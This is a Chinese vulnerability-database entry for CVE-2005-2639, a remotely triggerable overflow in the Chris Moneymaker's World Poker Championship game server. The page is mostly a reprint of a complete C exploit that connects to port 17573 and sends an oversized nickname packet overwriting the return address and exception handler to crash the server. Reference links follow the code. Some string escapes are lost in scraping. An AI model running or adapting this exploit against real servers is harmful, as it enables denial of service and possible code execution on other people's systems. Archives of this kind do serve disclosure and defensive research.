Chris Moneymaker’s World Poker Championship 缓冲区溢出漏洞

漏洞ID	1109003	漏洞类型	缓冲区溢出
发布时间	2005-08-17	更新时间	2005-10-20
CVE编号	CVE-2005-2639	CNNVD-ID	CNNVD-200508-225
漏洞平台	Windows	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/1156
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-225

|漏洞详情

ChrisMoneymaker’sWorldPokerChampionship是Valusoft开发并发布的扑克游戏。ChrisMoneymaker’sWorldPokerChampionship在处理用户请求时存在格式串处理漏洞，远程攻击者可以利用这个漏洞执行任意指令或导致拒绝服务。使用sprintf()创建”%shasjoinedthegame.”(这里%s是客户端所传送的昵称)字符串时存在缓冲区溢出漏洞。

|漏洞EXP

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "nError: %sn", error);
    exit(1);
}

// inserted winerr.h /str0ke

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER     "0.1"
#define PORT    17573
#define TIMEOUT 5
#define EIP     "xdexc0xadxde"
#define BOF     "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "x4exe6x40xbb"  /* default exception handler sign [00515150] */ 
                EIP                 /* return address for the sprintf() bug      */ 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                EIP                 /* bypass exception handler */ 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 
                "aaaa"



void send_chmpoker(int sock, u_char *data, u_int len, u_int num1, u_int num2);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd;
    u_short port = PORT;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("n"
        "Chris Moneymaker's World Poker Championship 1.0 buffer-overflow "VER"n"
        "by Luigi Auriemman"
        "e-mail: [email protected]"
        "web:    http://aluigi.altervista.orgn"
        "n", stdout);

    if(argc < 2) {
        printf("n"
            "Usage: %s <host> [port(%d)]n"
            "n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hun",
        inet_ntoa(peer.sin_addr), port);

    fputs("- check server: ", stdout);
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    if(timeout(sd) < 0) {
        fputs("nError: server doesn't seem to work, I have received no datann", stdout);
        exit(1);
    }
    fputs("okn", stdout);

    fputs("- send malformed data sizen", stdout);
    send_chmpoker(sd, BOF, sizeof(BOF) - 1, 8, 3);

    sleep(ONESEC);
    close(sd);

    fputs("- the server should be crashed, check it manuallyn", stdout);
    return(0);
}



void send_chmpoker(int sock, u_char *data, u_int len, u_int num1, u_int num2) {
    u_char  head[12];   // part of data, a lazy solution

    *(u_int *)(head)     = 0xdeadd001; // 02 and 03
    *(u_int *)(head + 4) = len + 12;
    send(sock, head, 8, 0);

    *(u_int *)(head)     = num1;
    *(u_int *)(head + 4) = len + 12;
    *(u_int *)(head + 8) = num2;
    send(sock, head, 12, 0);

    send(sock, data, len, 0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("nError: Unable to resolv hostname (%s)n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-08-17]

|参考资料

来源:BID
名称:14587
链接:http://www.securityfocus.com/bid/14587
来源:SECUNIA
名称:16478
链接:http://secunia.com/advisories/16478/
来源:BUGTRAQ
名称:20050817Buffer-overflowinChrisMoneymaker’sWorldPokerChampionship1.0
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112431235221271&w;=2
来源:MISC
链接:http://aluigi.altervista.org/adv/chmpokbof-adv.txt
来源:OSVDB
名称:18844
链接:http://www.osvdb.org/18844
来源:SECTRACK
名称:1014738
链接:http://securitytracker.com/id?1014738

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